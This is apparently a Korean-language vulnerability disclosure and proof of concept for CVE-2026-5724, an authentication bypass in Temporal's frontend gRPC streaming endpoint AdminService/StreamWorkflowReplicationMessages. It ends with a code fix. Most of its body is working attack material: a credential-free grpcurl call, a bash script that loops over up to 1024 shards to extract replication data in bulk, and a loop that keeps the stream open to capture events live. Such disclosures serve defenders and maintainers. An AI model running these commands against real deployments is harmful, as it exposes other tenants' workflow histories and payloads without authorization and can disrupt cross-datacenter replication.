
CVE-2026-5724에 대한 개념 증명 익스플로잇으로, Temporal의 프론트엔드 gRPC 서비스에서 인증 우회를 통해 인증 없이 워크플로 복제 데이터에 접근할 수 있게 하는 취약점입니다.
Temporal 프론트엔드 서비스는 스트리밍 gRPC RPC에 대해 인증을 적용하지 않습니다. 스트리밍 인터셉터 체인에 권한 부여 인터셉터가 누락되어 있어, 인증되지 않은 호출자가 모든 네임스페이스의 워크플로 복제 데이터를 스트리밍하는 관리자 전용 엔드포인트인 AdminService/StreamWorkflowReplicationMessages에 접근할 수 있습니다.
service/frontend/fx.go의 프론트엔드 gRPC 서버는 두 개의 인터셉터 체인을 구성합니다. 스트리밍 체인에는 메트릭 수집을 위한 telemetryInterceptor.StreamIntercept만 포함되어 있으며 인증은 포함되지 않습니다:
authorization.Interceptor 타입은 단항 인터셉터 메서드(Intercept)만 구현합니다. 스트리밍에 해당하는 구현은 존재하지 않습니다. 프론트엔드의 유일한 스트리밍 RPC는 AdminService/StreamWorkflowReplicationMessages이며, https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 에 따르면 {Scope: ScopeCluster, Access: AccessAdmin} 권한이 필요합니다. 스트리밍 호출은 admin_handler.go:1904의 핸들러에 인증 없이 도달하며, 여기서 내부 히스토리 서비스의 복제 엔드포인트로 직접 프록시됩니다.
프론트엔드 gRPC API를 노출하는 Temporal 배포 환경을 준비합니다.
자격 증명 없이 스트리밍 AdminService RPC를 호출합니다:
grpcurl -max-time 15 \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
# 스트림이 연결됩니다. 서버는 샤드별 exclusiveHighWatermark를 포함한
# 복제 상태로 응답합니다. 활성 복제 중에는 응답에 직렬화된
# 워크플로 히스토리 이벤트가 포함됩니다:
# {
# "messages": {
# "replicationTasks": [{
# "namespaceId": "...",
# "workflowId": "...",
# "runId": "...",
# "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
# ...
# }],
# "exclusiveHighWatermark": "148293"
# }
# }
모든 샤드를 순회하며 대규모로 데이터를 추출하려면:
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"
CLUSTER_ID="${3:-1}" # initialFailoverVersion: 1=active, 2=failover
ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"
for SHARD in $(seq 1 "${NUM_SHARDS}"); do
grpcurl -max-time 10 \
-H "temporal-client-cluster-id: ${CLUSTER_ID}" \
-H "temporal-client-shard-id: ${SHARD}" \
-H "temporal-server-cluster-id: ${CLUSTER_ID}" \
-H "temporal-server-shard-id: ${SHARD}" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
"${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done
스트림을 지속적으로 열어 두고 복제 이벤트를 실시간으로 캡처하려면:
(
while true; do
echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
sleep 5
done
) | grpcurl -d @ \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
프론트엔드에 접근할 수 있는 공격자는 자격 증명 없이 모든 네임스페이스와 테넌트의 워크플로 복제 데이터(워크플로 ID, 실행 ID, 히스토리 이벤트, 활동 페이로드)를 읽을 수 있습니다. 또한 공격자는 SyncReplicationState 메시지를 전송하여 데이터센터 간 복제를 방해할 수 있으며, 일반적으로 외부에 노출되지 않는 내부 히스토리 서비스에 대한 브리지 역할을 할 수 있습니다.
authorization.Interceptor에 StreamServerInterceptor를 구현하고 service/frontend/fx.go:292-296의 스트리밍 체인에 추가합니다:
streamInterceptor := []grpc.StreamServerInterceptor{
telemetryInterceptor.StreamIntercept,
authInterceptor.StreamIntercept, // 스트리밍 RPC에 인증 적용
}